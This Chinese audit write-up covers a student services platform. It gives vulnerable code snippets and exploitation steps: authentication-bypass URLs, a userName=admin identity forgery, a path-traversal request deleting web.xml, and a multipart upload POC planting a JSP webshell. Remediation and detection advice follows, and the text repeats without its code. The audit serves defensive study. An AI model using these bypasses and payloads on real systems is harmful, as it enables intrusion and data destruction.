某学生综合服务平台审计
字数 2860 2025-12-17 12:10:11

某学生综合服务平台安全审计教学文档

系统概述

系统架构模块

该系统为闭源学生综合服务平台,主要部署在内网环境,包含5个核心模块:

1. SYS - 综合管理系统

  • 技术栈:Struts 1.2 + Spring + Hibernate 3
  • 功能:系统主门户、统一认证、基础数据管理
  • 管理范围:学生、教师、学院、专业、班级等基础信息

2. XGXT - 学生工作系统(核心模块)

  • 技术栈:Spring MVC + Hibernate 5
  • 功能:学生综合服务平台主系统
  • 子模块:档案管理、请假违纪、学生资助、综合测评等100+功能

3. SYSX - 在线考试系统

  • 包含3个子系统:exam(在线考试)、management(考试管理)、grader(教师网上阅卷)

4. WEIXIN - 微信接入模块

  • 功能:微信公众号集成
  • AppID:wx5e194777ce0ae2ec

5. XGH5 - 移动端H5系统

  • 功能:学生端和教师端移动访问
  • 包含:学生端(stu)、教师端(tea)

XGXT模块安全审计

鉴权机制分析

SessionFilter配置

  • 拦截路径:所有.action请求
  • 配置文件:web.xml中的sessionFilter

鉴权流程

  1. HTTP请求转换:对request和response进行HTTP转换

  2. CAS检查:通过CodeUtil.getConfigBybh方法查询CAS开启状态

  3. 白名单验证

    • 使用getServletPath()获取请求API路径
    • 采用indexOf进行关键词模糊匹配
    • 路径规范化处理,无法绕过
  4. Session认证:通过session进行身份验证,无法绕过

安全建议:关注白名单路由和JSP文件安全

SQL注入漏洞

漏洞点1:MsgDao.xml中的getXzry方法

<!-- 存在问题的SQL映射 -->
<select id="getXzry" parameterType="map" resultType="map">
    SELECT * FROM table 
    WHERE ${whereSqlJson} AND ${treeWhereJson}
</select>

漏洞分析

  • whereSqlJsontreeWhereJson参数直接使用${}拼接
  • 调用流程:ThemeUtil.whereSql()处理JSON参数
  • 处理过程:将JSON转换为SQL语句片段,直接拼接无预编译
  • 参数来源:通过路由注解获取,完全可控

漏洞点2:PubDao.xml中的getProcessAmount方法

<select id="getProcessAmount" parameterType="map" resultType="map">
    SELECT COUNT(*) FROM ${tableName} 
    WHERE ${condition}
</select>

漏洞分析

  • conditiontableName参数直接拼接
  • 调用getRs方法执行原生SQL查询
  • 参数通过路由注解获取,完全可控

XXE漏洞

漏洞位置:XMLUtil.java中的parseModXmlStr方法

public static Document parseModXmlStr(String xmlStr) {
    return DocumentHelper.parseText(xmlStr); // Dom4j解析
}

漏洞分析

  • 使用Dom4j的DocumentHelper.parseText()解析XML
  • 参数xmlStr通过getString方法获取,仅进行空值检查
  • 外部实体未禁用,存在XXE风险

文件上传漏洞

漏洞位置:AttachmentController.java中的fileUpload方法

public String fileUpload(HttpServletRequest request, 
                        HttpServletResponse response) {
    MultipartFile uFile = getUploadFile(request);
    if (uFile != null) {
        String fileSuffix = FileUtil.getFileSuffix(uFile.getOriginalFilename());
        String newFileName = DateUtils.formatNow() + "." + fileSuffix;
        File destFile = new File(uploadPath, newFileName);
        uFile.transferTo(destFile);
    }
}

漏洞分析

  • 文件后缀从原始文件名提取(最后一个.后的内容)
  • 新文件名使用日期+原始后缀生成
  • 通过transferTo直接写入服务器
  • 无文件类型检查,存在任意文件上传

SYSX模块安全审计

鉴权机制分析

技术架构:Spring + Struts + Hibernate + JDBC

UserNameFilter分析

public void doFilter(ServletRequest req, ServletResponse res,
                    FilterChain chain) {
    String userName = ParamUtils.getParameter(request, "userName");
    if (userName != null) {
        request.getSession().setAttribute("userName", userName);
    }
    chain.doFilter(request, response);
}

安全问题

  • 直接从请求参数设置session中的userName
  • 无身份验证,可伪造任意用户身份

系统授权检查

  • 检查xtbz参数是否在授权系统列表中
  • 主要验证系统标识有效性,非用户身份验证

SYS模块安全审计

鉴权机制分析

Filter配置

  • 拦截*.jsp:LoginAdminFilter
  • 拦截/sys/system/*:SystemFilter

LoginAdminFilter绕过分析

放行条件(满足任一即可):

  1. "WZQ".equalsIgnoreCase(sybz) - 参数控制
  2. reqPath.contains(this.yxSite) - getServletPath获取,不可绕
  3. this.passUrl.contains(ds) - 同条件2
  4. sysAdminName != null - 需要登录
  5. request.getRequestURI().contains("login") - getRequestURI获取,可绕

绕过方法

  • /admin.jsp?sybz=WZQ
  • /login/../admin.jsp

SystemFilter身份伪造漏洞

public void doFilter(ServletRequest req, ServletResponse res) {
    String userName = request.getParameter("userName"); // 参数覆盖
    String currentSessionKey = getCurrentOperatorBySession(request, userName);
    if (currentSessionKey == null) {
        // 验证逻辑
    }
}

漏洞利用

  • 如果admin用户已登录,构造:/sys/system/info?userName=admin
  • 系统从缓存获取对应session凭据,实现身份伪造

命令执行漏洞(暂无法利用)

漏洞位置:PhotoUtil.java中的delfile方法

public static void delfile(String filePath) {
    Runtime.getRuntime().exec("cmd /c del " + filePath);
}

限制因素

  • 参数通过ParamUtils.getParameter获取
  • 内部调用Function.CheckReplace过滤特殊字符
  • 过滤字符包括|&等命令分隔符

任意文件删除漏洞

漏洞位置:PhotoInToDbAction.java中的delFile方法

public ActionForward delFile(ActionMapping mapping, ActionForm form,
                            HttpServletRequest request) {
    String errorInfoXlsName = ParamUtils.getParameter(request, "errorInfoXlsName");
    PhotoUtil.delfile(errorInfoXlsName);
}

利用方法

GET /sys/yx/photointo/delFile.do?errorInfoXlsName=../../../../WEB-INF/web.xml

SQL注入漏洞

漏洞点1:FormCommonAction.java中的doReportWordFileByRtf方法

public ActionForward doReportWordFileByRtf(ActionMapping mapping, 
                                          ActionForm form,
                                          HttpServletRequest request) {
    String keyvalue = request.getParameter("keyvalue");
    String sql = "SELECT * FROM table WHERE key = '" + keyvalue + "'";
    new ThemeDB().getOneMap(sql);
}

漏洞分析

  • 参数直接拼接SQL语句
  • 调用原生JDBC执行查询
  • 无任何过滤措施

漏洞点2:QueryAction.java中的queryDel方法

public ActionForward queryDel(ActionMapping mapping, ActionForm form,
                             HttpServletRequest request) {
    String keyList = request.getParameter("keyList");
    String sqlwhere = "id in (" + keyList + ")";
    String sql = "DELETE FROM table WHERE " + sqlwhere;
    new DB().executeUpdate(sql);
}

任意文件上传漏洞

漏洞位置:uploadPicture_qt.jsp

<%
String Action = request.getParameter("Action");
if ("Edit".equals(Action)) {
    String keyvalue = request.getParameter("keyvalue");
    RandomFileRenamePolicyByKeyColumn rfrp = 
        new RandomFileRenamePolicyByKeyColumn(keyvalue);
    MultipartRequest multi = new MultipartRequest(request, savePath, 
                                                  maxSize, encoding, rfrp);
}
%>

RandomFileRenamePolicyByKeyColumn分析

  • 实现FileRenamePolicy接口
  • 从原始文件名提取后缀(最后一个.后内容)
  • 新文件名使用原始后缀,后缀可控

上传POC

POST /sys/login/../xgxt/formquery/uploadPicture_qt.jsp?table=null&keycol=null&keyvalue=null&zpcol=null&Action=Edit&colName=null&xtbz= HTTP/1.1
Content-Type: multipart/form-data; boundary=WebKitFormBoundary

------WebKitFormBoundary
Content-Disposition: form-data; name="file_photo"; filename="test.jsp"
Content-Type: image/png

<% webshell代码 %>

安全防护建议

代码层面

  1. SQL注入防护

    • 使用预编译语句替换字符串拼接
    • 对MyBatis中的${}使用进行严格管控
  2. 文件上传安全

    • 白名单验证文件类型
    • 重命名文件时使用固定安全后缀
    • 限制上传目录的执行权限
  3. XXE防护

    • 禁用外部实体解析
    • 使用安全的XML解析器配置
  4. 鉴权加固

    • 统一认证入口,避免多套鉴权逻辑
    • Session管理规范化,避免参数覆盖

架构层面

  1. 实施API网关统一安全管控
  2. 建立安全编码规范
  3. 定期进行安全代码审计
  4. 加强输入验证和输出编码

审计工具优化建议

检测规则增强

  1. SQL注入检测

    • 识别request.getParameter直接拼接SQL的模式
    • 检测MyBatis中${}的使用场景
  2. 文件上传检测

    • 识别MultipartRequest的使用
    • 检测文件重命名策略的安全性
  3. 鉴权绕过检测

    • 识别Filter中的路径检查逻辑
    • 检测Session管理的不规范使用

通过系统化的安全审计,可以显著提升此类综合服务平台的安全性。

某学生综合服务平台安全审计教学文档 系统概述 系统架构模块 该系统为闭源学生综合服务平台,主要部署在内网环境,包含5个核心模块: 1. SYS - 综合管理系统 技术栈:Struts 1.2 + Spring + Hibernate 3 功能:系统主门户、统一认证、基础数据管理 管理范围:学生、教师、学院、专业、班级等基础信息 2. XGXT - 学生工作系统(核心模块) 技术栈:Spring MVC + Hibernate 5 功能:学生综合服务平台主系统 子模块:档案管理、请假违纪、学生资助、综合测评等100+功能 3. SYSX - 在线考试系统 包含3个子系统:exam(在线考试)、management(考试管理)、grader(教师网上阅卷) 4. WEIXIN - 微信接入模块 功能:微信公众号集成 AppID:wx5e194777ce0ae2ec 5. XGH5 - 移动端H5系统 功能:学生端和教师端移动访问 包含:学生端(stu)、教师端(tea) XGXT模块安全审计 鉴权机制分析 SessionFilter配置 拦截路径:所有 .action 请求 配置文件: web.xml 中的 sessionFilter 鉴权流程 HTTP请求转换 :对request和response进行HTTP转换 CAS检查 :通过 CodeUtil.getConfigBybh 方法查询CAS开启状态 白名单验证 : 使用 getServletPath() 获取请求API路径 采用 indexOf 进行关键词模糊匹配 路径规范化处理,无法绕过 Session认证 :通过session进行身份验证,无法绕过 安全建议 :关注白名单路由和JSP文件安全 SQL注入漏洞 漏洞点1:MsgDao.xml中的getXzry方法 漏洞分析 : whereSqlJson 和 treeWhereJson 参数直接使用 ${} 拼接 调用流程: ThemeUtil.whereSql() 处理JSON参数 处理过程:将JSON转换为SQL语句片段,直接拼接无预编译 参数来源:通过路由注解获取,完全可控 漏洞点2:PubDao.xml中的getProcessAmount方法 漏洞分析 : condition 和 tableName 参数直接拼接 调用 getRs 方法执行原生SQL查询 参数通过路由注解获取,完全可控 XXE漏洞 漏洞位置:XMLUtil.java中的parseModXmlStr方法 漏洞分析 : 使用Dom4j的 DocumentHelper.parseText() 解析XML 参数 xmlStr 通过 getString 方法获取,仅进行空值检查 外部实体未禁用,存在XXE风险 文件上传漏洞 漏洞位置:AttachmentController.java中的fileUpload方法 漏洞分析 : 文件后缀从原始文件名提取(最后一个 . 后的内容) 新文件名使用日期+原始后缀生成 通过 transferTo 直接写入服务器 无文件类型检查,存在任意文件上传 SYSX模块安全审计 鉴权机制分析 技术架构:Spring + Struts + Hibernate + JDBC UserNameFilter分析 安全问题 : 直接从请求参数设置session中的userName 无身份验证,可伪造任意用户身份 系统授权检查 检查 xtbz 参数是否在授权系统列表中 主要验证系统标识有效性,非用户身份验证 SYS模块安全审计 鉴权机制分析 Filter配置 拦截 *.jsp :LoginAdminFilter 拦截 /sys/system/* :SystemFilter LoginAdminFilter绕过分析 放行条件 (满足任一即可): "WZQ".equalsIgnoreCase(sybz) - 参数控制 reqPath.contains(this.yxSite) - getServletPath获取,不可绕 this.passUrl.contains(ds) - 同条件2 sysAdminName != null - 需要登录 request.getRequestURI().contains("login") - getRequestURI获取,可绕 绕过方法 : /admin.jsp?sybz=WZQ /login/../admin.jsp SystemFilter身份伪造漏洞 漏洞利用 : 如果admin用户已登录,构造: /sys/system/info?userName=admin 系统从缓存获取对应session凭据,实现身份伪造 命令执行漏洞(暂无法利用) 漏洞位置:PhotoUtil.java中的delfile方法 限制因素 : 参数通过 ParamUtils.getParameter 获取 内部调用 Function.CheckReplace 过滤特殊字符 过滤字符包括 | 和 & 等命令分隔符 任意文件删除漏洞 漏洞位置:PhotoInToDbAction.java中的delFile方法 利用方法 : SQL注入漏洞 漏洞点1:FormCommonAction.java中的doReportWordFileByRtf方法 漏洞分析 : 参数直接拼接SQL语句 调用原生JDBC执行查询 无任何过滤措施 漏洞点2:QueryAction.java中的queryDel方法 任意文件上传漏洞 漏洞位置:uploadPicture_ qt.jsp RandomFileRenamePolicyByKeyColumn分析 : 实现FileRenamePolicy接口 从原始文件名提取后缀(最后一个 . 后内容) 新文件名使用原始后缀,后缀可控 上传POC : 安全防护建议 代码层面 SQL注入防护 : 使用预编译语句替换字符串拼接 对MyBatis中的 ${} 使用进行严格管控 文件上传安全 : 白名单验证文件类型 重命名文件时使用固定安全后缀 限制上传目录的执行权限 XXE防护 : 禁用外部实体解析 使用安全的XML解析器配置 鉴权加固 : 统一认证入口,避免多套鉴权逻辑 Session管理规范化,避免参数覆盖 架构层面 实施API网关统一安全管控 建立安全编码规范 定期进行安全代码审计 加强输入验证和输出编码 审计工具优化建议 检测规则增强 SQL注入检测 : 识别 request.getParameter 直接拼接SQL的模式 检测MyBatis中 ${} 的使用场景 文件上传检测 : 识别MultipartRequest的使用 检测文件重命名策略的安全性 鉴权绕过检测 : 识别Filter中的路径检查逻辑 检测Session管理的不规范使用 通过系统化的安全审计,可以显著提升此类综合服务平台的安全性。